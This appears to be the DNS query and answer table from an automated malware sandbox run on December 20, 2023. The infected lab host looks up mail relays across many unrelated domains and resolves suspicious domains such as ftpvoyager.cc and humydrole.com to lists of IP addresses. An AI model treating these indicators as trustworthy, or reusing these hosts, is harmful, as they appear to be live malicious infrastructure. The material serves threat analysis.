Dec 20, 2023 03:13:39.018891096 CET	192.168.2.4	1.1.1.1	0xecbf	Standard query (0)	smtp.yokohamaichigoichie.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.059086084 CET	192.168.2.4	1.1.1.1	0xfdbe	Standard query (0)	imap.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.060771942 CET	192.168.2.4	1.1.1.1	0xb190	Standard query (0)	relay.fzdwiq.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.120419025 CET	192.168.2.4	1.1.1.1	0x9cd0	Standard query (0)	relay.dfc.nettw	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.193361044 CET	192.168.2.4	1.1.1.1	0x8380	Standard query (0)	smtp.dekoracio.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.230882883 CET	192.168.2.4	1.1.1.1	0x8298	Standard query (0)	smtp.nothingbutmiraclesphotography.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.234302044 CET	192.168.2.4	1.1.1.1	0xabcd	Standard query (0)	smtp.cummingscreativegroup.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.288705111 CET	192.168.2.4	1.1.1.1	0x4830	Standard query (0)	smtp.youre.a.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.342437983 CET	192.168.2.4	1.1.1.1	0xfa25	Standard query (0)	smtp.calebandersondesigns.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.392739058 CET	192.168.2.4	1.1.1.1	0x6c78	Standard query (0)	relay.nothingbutmiraclesphotography.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.393079042 CET	192.168.2.4	1.1.1.1	0x3c93	Standard query (0)	smtp.njbkrl.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.393604040 CET	192.168.2.4	1.1.1.1	0xc885	Standard query (0)	smtp.clsunlimited.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.396212101 CET	192.168.2.4	1.1.1.1	0x6155	Standard query (0)	smtp.9ef1e72a04361055.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.417159081 CET	192.168.2.4	1.1.1.1	0x6063	Standard query (0)	smtp.shopeeten.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.432775021 CET	192.168.2.4	1.1.1.1	0x208d	Standard query (0)	smtp.alnajah.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.527057886 CET	192.168.2.4	1.1.1.1	0x5063	Standard query (0)	pop.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.536427975 CET	192.168.2.4	1.1.1.1	0x162f	Standard query (0)	smtp.gatewayseweranddrain.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.537806988 CET	192.168.2.4	1.1.1.1	0x144	Standard query (0)	smtp.fzdwiq.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.537806988 CET	192.168.2.4	1.1.1.1	0xdd32	Standard query (0)	smtp.justhelpthyself.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.575149059 CET	192.168.2.4	1.1.1.1	0x38b	Standard query (0)	smtp.yjprwlto.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.671920061 CET	192.168.2.4	1.1.1.1	0xb250	Standard query (0)	smtp.x-woofer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.672899008 CET	192.168.2.4	1.1.1.1	0x716d	Standard query (0)	smtp.zhelen.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.674124956 CET	192.168.2.4	1.1.1.1	0x3ff2	Standard query (0)	smtp.4ku9ipwefstyxr.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.675040960 CET	192.168.2.4	1.1.1.1	0x7879	Standard query (0)	smtp.dfc.nettw	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.675448895 CET	192.168.2.4	1.1.1.1	0xff3e	Standard query (0)	smtp.ilovetechno.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.675662994 CET	192.168.2.4	1.1.1.1	0x3cd8	Standard query (0)	smtp.bsboil.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.677167892 CET	192.168.2.4	1.1.1.1	0xe091	Standard query (0)	smtp.sachem.com.ar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.690372944 CET	192.168.2.4	1.1.1.1	0x3797	Standard query (0)	smtp.dlirfo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.733284950 CET	192.168.2.4	1.1.1.1	0x3e6b	Standard query (0)	smtp.yjroeown.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.764341116 CET	192.168.2.4	1.1.1.1	0x3682	Standard query (0)	greenlawnfertilizing-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:39.854914904 CET	192.168.2.4	1.1.1.1	0x63ab	Standard query (0)	smtp.curtisoutland.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:40.060077906 CET	192.168.2.4	1.1.1.1	0xfdbe	Standard query (0)	imap.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:40.500368118 CET	192.168.2.4	1.1.1.1	0xd68c	Standard query (0)	ftp.horsetech.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:40.500705004 CET	192.168.2.4	1.1.1.1	0x317b	Standard query (0)	mxb.ovh.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:40.514187098 CET	192.168.2.4	1.1.1.1	0xa104	Standard query (0)	mailgate.remafer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:40.925316095 CET	192.168.2.4	1.1.1.1	0x566a	Standard query (0)	mailgate.nationwide-claims.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.527966976 CET	192.168.2.4	1.1.1.1	0x5063	Standard query (0)	pop.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.528595924 CET	192.168.2.4	1.1.1.1	0x295b	Standard query (0)	mailgate.9ef1e72a04361055.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.529022932 CET	192.168.2.4	1.1.1.1	0xbfa7	Standard query (0)	mailgate.ba02867e18351c89.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.529491901 CET	192.168.2.4	1.1.1.1	0x5c39	Standard query (0)	mailgate.a4f53bcfebc986c4.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.530044079 CET	192.168.2.4	1.1.1.1	0x2d3a	Standard query (0)	mailgate.dm.famm.us	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.530302048 CET	192.168.2.4	1.1.1.1	0x51a5	Standard query (0)	mailgate.vaoypo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.530988932 CET	192.168.2.4	1.1.1.1	0xc6f0	Standard query (0)	mailgate.jcdnc.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.531362057 CET	192.168.2.4	1.1.1.1	0xab09	Standard query (0)	mailgate.habbocentral.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.532607079 CET	192.168.2.4	1.1.1.1	0xbc7d	Standard query (0)	mailgate.floridasun.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.533519030 CET	192.168.2.4	1.1.1.1	0x8cd9	Standard query (0)	mailgate.churchofscientology.orguk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.534320116 CET	192.168.2.4	1.1.1.1	0x1f49	Standard query (0)	directaplus-com01i.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.535232067 CET	192.168.2.4	1.1.1.1	0x2c	Standard query (0)	horsetech-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.541949034 CET	192.168.2.4	1.1.1.1	0x7ac0	Standard query (0)	mailgate.rmckenna.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.542777061 CET	192.168.2.4	1.1.1.1	0x7faa	Standard query (0)	mailgate.yokohamaichigoichie.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.544558048 CET	192.168.2.4	1.1.1.1	0xdd4a	Standard query (0)	mailgate.crayzrocker.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.544990063 CET	192.168.2.4	1.1.1.1	0xcabd	Standard query (0)	mailgate.8d560e557e715856.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.545633078 CET	192.168.2.4	1.1.1.1	0xdc2f	Standard query (0)	mailgate.cummingscreativegroup.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.546135902 CET	192.168.2.4	1.1.1.1	0x6e63	Standard query (0)	mail.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.546313047 CET	192.168.2.4	1.1.1.1	0xb090	Standard query (0)	mailgate.njbkrl.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.678241968 CET	192.168.2.4	1.1.1.1	0x1fe2	Standard query (0)	mailgate.calebandersondesigns.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.679784060 CET	192.168.2.4	1.1.1.1	0x4ea	Standard query (0)	mailgate.sgeg-usa.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.679784060 CET	192.168.2.4	1.1.1.1	0xd3d6	Standard query (0)	mailgate.shopeeten.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.680422068 CET	192.168.2.4	1.1.1.1	0x3c2	Standard query (0)	mailgate.radiomaria.orgar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.682388067 CET	192.168.2.4	1.1.1.1	0xa5e7	Standard query (0)	mailgate.janicearies.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.689820051 CET	192.168.2.4	1.1.1.1	0x5403	Standard query (0)	mailgate.leuadxqqqn.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.692146063 CET	192.168.2.4	1.1.1.1	0x29a5	Standard query (0)	mailgate.alnajah.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.692682981 CET	192.168.2.4	1.1.1.1	0x18ea	Standard query (0)	theijunction-com0ic.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.693620920 CET	192.168.2.4	1.1.1.1	0x5ff4	Standard query (0)	mailgate.8f7940a0023aab5c.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.841106892 CET	192.168.2.4	1.1.1.1	0xff0a	Standard query (0)	mailgate.x-woofer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:42.061065912 CET	192.168.2.4	1.1.1.1	0xfdbe	Standard query (0)	imap.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:46.083317041 CET	192.168.2.4	1.1.1.1	0xfdbe	Standard query (0)	imap.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.740303040 CET	192.168.2.4	1.1.1.1	0xf14b	Standard query (0)	mailgate.a4f53bcfebc986c4.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.740303040 CET	192.168.2.4	1.1.1.1	0xd463	Standard query (0)	mailgate.justhelpthyself.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.740303040 CET	192.168.2.4	1.1.1.1	0xd616	Standard query (0)	mailgate.calebandersondesigns.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.740506887 CET	192.168.2.4	1.1.1.1	0x1408	Standard query (0)	mailgate.sachem.com.ar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.741190910 CET	192.168.2.4	1.1.1.1	0xf1cc	Standard query (0)	mailgate.curtisoutland.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.741190910 CET	192.168.2.4	1.1.1.1	0xb0bb	Standard query (0)	mailgate.x-woofer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.751363993 CET	192.168.2.4	1.1.1.1	0x7634	Standard query (0)	relay.churchofscientology.orguk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.751713037 CET	192.168.2.4	1.1.1.1	0xa83e	Standard query (0)	mailgate.radiomaria.orgar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.751919985 CET	192.168.2.4	1.1.1.1	0xf1a	Standard query (0)	mailgate.jcdnc.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.752226114 CET	192.168.2.4	1.1.1.1	0x95ff	Standard query (0)	mailgate.dfc.nettw	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.752552032 CET	192.168.2.4	1.1.1.1	0x38ed	Standard query (0)	mailgate.yokohamaichigoichie.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.752794027 CET	192.168.2.4	1.1.1.1	0xb890	Standard query (0)	mailgate.sgeg-usa.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.753070116 CET	192.168.2.4	1.1.1.1	0x8565	Standard query (0)	mailgate.nationwide-claims.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.753479958 CET	192.168.2.4	1.1.1.1	0xaf9c	Standard query (0)	mailgate.bsboil.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.753696918 CET	192.168.2.4	1.1.1.1	0x6baf	Standard query (0)	mailgate.nothingbutmiraclesphotography.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.753921032 CET	192.168.2.4	1.1.1.1	0xa4e7	Standard query (0)	mailgate.janicearies.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:55.318723917 CET	192.168.2.4	1.1.1.1	0x1b79	Standard query (0)	mailgate.remafer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:55.318725109 CET	192.168.2.4	1.1.1.1	0x2d5f	Standard query (0)	mailgate.leuadxqqqn.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:55.326864004 CET	192.168.2.4	1.1.1.1	0xba25	Standard query (0)	greenlawnfertilizing-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:55.334690094 CET	192.168.2.4	1.1.1.1	0x7af9	Standard query (0)	ftp.micresearch.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:55.361330986 CET	192.168.2.4	1.1.1.1	0xfb27	Standard query (0)	orangutech-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:55.366427898 CET	192.168.2.4	1.1.1.1	0xf20	Standard query (0)	ontariobluejays-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:55.858743906 CET	192.168.2.4	1.1.1.1	0x3fc6	Standard query (0)	ftp.jgarch.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:55.862859964 CET	192.168.2.4	1.1.1.1	0x7e54	Standard query (0)	micresearch-net.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:55.863095045 CET	192.168.2.4	1.1.1.1	0x787a	Standard query (0)	geoffreynolds-com-au.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:55.863410950 CET	192.168.2.4	1.1.1.1	0x7ea0	Standard query (0)	conalcorp-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:55.955566883 CET	192.168.2.4	1.1.1.1	0x26b3	Standard query (0)	nicsonsconcrete-com-au.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.034548044 CET	192.168.2.4	1.1.1.1	0x9c3b	Standard query (0)	ftp.iconcap.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.083817005 CET	192.168.2.4	1.1.1.1	0x3a0e	Standard query (0)	ssh.u90soccercenter.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.168442011 CET	192.168.2.4	1.1.1.1	0x9879	Standard query (0)	ftp.ads-ecuador.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.177961111 CET	192.168.2.4	1.1.1.1	0x4a94	Standard query (0)	horsetech-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.218295097 CET	192.168.2.4	1.1.1.1	0xb92	Standard query (0)	justinsweet-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.220642090 CET	192.168.2.4	1.1.1.1	0x3e4b	Standard query (0)	atelcommunications-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.222664118 CET	192.168.2.4	1.1.1.1	0xba30	Standard query (0)	texasopendoor-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.225121975 CET	192.168.2.4	1.1.1.1	0x7c20	Standard query (0)	directaplus-com01i.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.251631021 CET	192.168.2.4	1.1.1.1	0x520c	Standard query (0)	theijunction-com0ic.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.253187895 CET	192.168.2.4	1.1.1.1	0x10a8	Standard query (0)	pop.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.253772020 CET	192.168.2.4	1.1.1.1	0x24b3	Standard query (0)	imap.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.254143000 CET	192.168.2.4	1.1.1.1	0x2943	Standard query (0)	mail.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.255383968 CET	192.168.2.4	1.1.1.1	0xb30e	Standard query (0)	mailgate.dlirfo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.257963896 CET	192.168.2.4	1.1.1.1	0x522f	Standard query (0)	mailgate.habbocentral.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.258718014 CET	192.168.2.4	1.1.1.1	0x771e	Standard query (0)	mailgate.crayzrocker.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.259460926 CET	192.168.2.4	1.1.1.1	0x2bf8	Standard query (0)	mailgate.youre.a.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.260118961 CET	192.168.2.4	1.1.1.1	0x7707	Standard query (0)	mailgate.rmckenna.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.260920048 CET	192.168.2.4	1.1.1.1	0x4e1f	Standard query (0)	mailgate.cummingscreativegroup.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.261779070 CET	192.168.2.4	1.1.1.1	0x1b0	Standard query (0)	mailgate.shopeeten.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.262299061 CET	192.168.2.4	1.1.1.1	0xf8cb	Standard query (0)	mailgate.dekoracio.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.263757944 CET	192.168.2.4	1.1.1.1	0xac7b	Standard query (0)	mailgate.lum-gaming.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.264671087 CET	192.168.2.4	1.1.1.1	0xc453	Standard query (0)	mailgate.gatewayseweranddrain.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.265317917 CET	192.168.2.4	1.1.1.1	0xa64a	Standard query (0)	mailgate.vaoypo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.266243935 CET	192.168.2.4	1.1.1.1	0xf344	Standard query (0)	mailgate.floridasun.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.266917944 CET	192.168.2.4	1.1.1.1	0x1882	Standard query (0)	mailgate.dm.famm.us	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.267576933 CET	192.168.2.4	1.1.1.1	0x6321	Standard query (0)	mailgate.fzdwiq.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.268209934 CET	192.168.2.4	1.1.1.1	0x8fbe	Standard query (0)	mailgate.yjroeown.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.268629074 CET	192.168.2.4	1.1.1.1	0x925d	Standard query (0)	mailgate.zhelen.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.269238949 CET	192.168.2.4	1.1.1.1	0xf52a	Standard query (0)	mailgate.yjprwlto.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.269597054 CET	192.168.2.4	1.1.1.1	0x9bfc	Standard query (0)	mailgate.alnajah.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.270174026 CET	192.168.2.4	1.1.1.1	0x8094	Standard query (0)	mailgate.8d560e557e715856.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.270663977 CET	192.168.2.4	1.1.1.1	0x36d3	Standard query (0)	mailgate.njbkrl.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.271048069 CET	192.168.2.4	1.1.1.1	0x7892	Standard query (0)	mailgate.8f7940a0023aab5c.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:57.241909027 CET	192.168.2.4	1.1.1.1	0x24b3	Standard query (0)	imap.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:57.242146969 CET	192.168.2.4	1.1.1.1	0x10a8	Standard query (0)	pop.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:57.242146969 CET	192.168.2.4	1.1.1.1	0x2943	Standard query (0)	mail.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:57.862818956 CET	192.168.2.4	45.155.250.90	0xab6d	Standard query (0)	csaaqcu.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:58.242805958 CET	192.168.2.4	1.1.1.1	0x10a8	Standard query (0)	pop.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:58.242866039 CET	192.168.2.4	1.1.1.1	0x2943	Standard query (0)	mail.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:58.242937088 CET	192.168.2.4	1.1.1.1	0x24b3	Standard query (0)	imap.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:14:00.260560036 CET	192.168.2.4	1.1.1.1	0x24b3	Standard query (0)	imap.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:14:00.260754108 CET	192.168.2.4	1.1.1.1	0x2943	Standard query (0)	mail.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:14:00.260793924 CET	192.168.2.4	1.1.1.1	0x10a8	Standard query (0)	pop.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:15:43.785075903 CET	192.168.2.4	1.1.1.1	0xc1ec	Standard query (0)	humydrole.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2023 03:12:17.661180973 CET	1.1.1.1	192.168.2.4	0x94c8	Name error (3)	onualituyrs.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:17.839500904 CET	1.1.1.1	192.168.2.4	0x86c1	No error (0)	sumagulituyo.org		34.94.245.237	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:18.549484968 CET	1.1.1.1	192.168.2.4	0x721c	No error (0)	snukerukeutit.org		104.198.2.251	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:19.482939005 CET	1.1.1.1	192.168.2.4	0x27b7	No error (0)	lightseinsteniki.org		34.143.166.163	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:20.835639954 CET	1.1.1.1	192.168.2.4	0x7395	No error (0)	liuliuoumumy.org		34.143.166.163	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:22.156949043 CET	1.1.1.1	192.168.2.4	0x926f	No error (0)	stualialuyastrelia.net		91.215.85.17	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:29.379319906 CET	1.1.1.1	192.168.2.4	0xda08	No error (0)	breakfastchanneljw.fun		104.21.81.99	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:29.379319906 CET	1.1.1.1	192.168.2.4	0xda08	No error (0)	breakfastchanneljw.fun		172.67.189.18	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:30.184206963 CET	1.1.1.1	192.168.2.4	0x8988	No error (0)	dayfarrichjwclik.fun		104.21.80.57	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:30.184206963 CET	1.1.1.1	192.168.2.4	0x8988	No error (0)	dayfarrichjwclik.fun		172.67.174.181	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:30.996360064 CET	1.1.1.1	192.168.2.4	0xceca	No error (0)	neighborhoodfeelsa.fun		172.67.143.130	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:30.996360064 CET	1.1.1.1	192.168.2.4	0xceca	No error (0)	neighborhoodfeelsa.fun		104.21.87.137	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:31.680113077 CET	1.1.1.1	192.168.2.4	0xf9da	No error (0)	diagramfiremonkeyowwa.fun		172.67.183.217	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:31.680113077 CET	1.1.1.1	192.168.2.4	0xf9da	No error (0)	diagramfiremonkeyowwa.fun		104.21.18.224	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:38.800116062 CET	1.1.1.1	192.168.2.4	0xfddf	No error (0)	ftpvoyager.cc		201.119.5.179	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:38.800116062 CET	1.1.1.1	192.168.2.4	0xfddf	No error (0)	ftpvoyager.cc		187.140.17.135	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:38.800116062 CET	1.1.1.1	192.168.2.4	0xfddf	No error (0)	ftpvoyager.cc		95.158.162.200	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:38.800116062 CET	1.1.1.1	192.168.2.4	0xfddf	No error (0)	ftpvoyager.cc		109.175.29.39	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:38.800116062 CET	1.1.1.1	192.168.2.4	0xfddf	No error (0)	ftpvoyager.cc		211.168.53.110	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:38.800116062 CET	1.1.1.1	192.168.2.4	0xfddf	No error (0)	ftpvoyager.cc		175.119.10.231	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:38.800116062 CET	1.1.1.1	192.168.2.4	0xfddf	No error (0)	ftpvoyager.cc		186.182.55.44	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:38.800116062 CET	1.1.1.1	192.168.2.4	0xfddf	No error (0)	ftpvoyager.cc		175.126.109.15	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:38.800116062 CET	1.1.1.1	192.168.2.4	0xfddf	No error (0)	ftpvoyager.cc		91.104.83.7	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:38.800116062 CET	1.1.1.1	192.168.2.4	0xfddf	No error (0)	ftpvoyager.cc		185.12.79.25	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:41.926609039 CET	1.1.1.1	192.168.2.4	0xd338	No error (0)	shpilliwilli.com		172.67.215.49	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:41.926609039 CET	1.1.1.1	192.168.2.4	0xd338	No error (0)	shpilliwilli.com		104.21.45.142	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:44.468488932 CET	1.1.1.1	192.168.2.4	0x4a6	No error (0)	linkofstrumble.com		104.21.88.149	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:44.468488932 CET	1.1.1.1	192.168.2.4	0x4a6	No error (0)	linkofstrumble.com		172.67.185.93	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:47.350003004 CET	1.1.1.1	192.168.2.4	0x162f	No error (0)	cream.hitsturbo.com		172.67.168.30	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:12:47.350003004 CET	1.1.1.1	192.168.2.4	0x162f	No error (0)	cream.hitsturbo.com		104.21.46.59	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:10.347969055 CET	1.1.1.1	192.168.2.4	0x23dd	No error (0)	humydrole.com		187.134.52.10	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:10.347969055 CET	1.1.1.1	192.168.2.4	0x23dd	No error (0)	humydrole.com		187.156.96.226	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:10.347969055 CET	1.1.1.1	192.168.2.4	0x23dd	No error (0)	humydrole.com		201.218.66.48	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:10.347969055 CET	1.1.1.1	192.168.2.4	0x23dd	No error (0)	humydrole.com		211.181.24.133	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:10.347969055 CET	1.1.1.1	192.168.2.4	0x23dd	No error (0)	humydrole.com		211.171.233.129	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:10.347969055 CET	1.1.1.1	192.168.2.4	0x23dd	No error (0)	humydrole.com		201.235.220.156	A (IP address)	IN (0x0001)	false
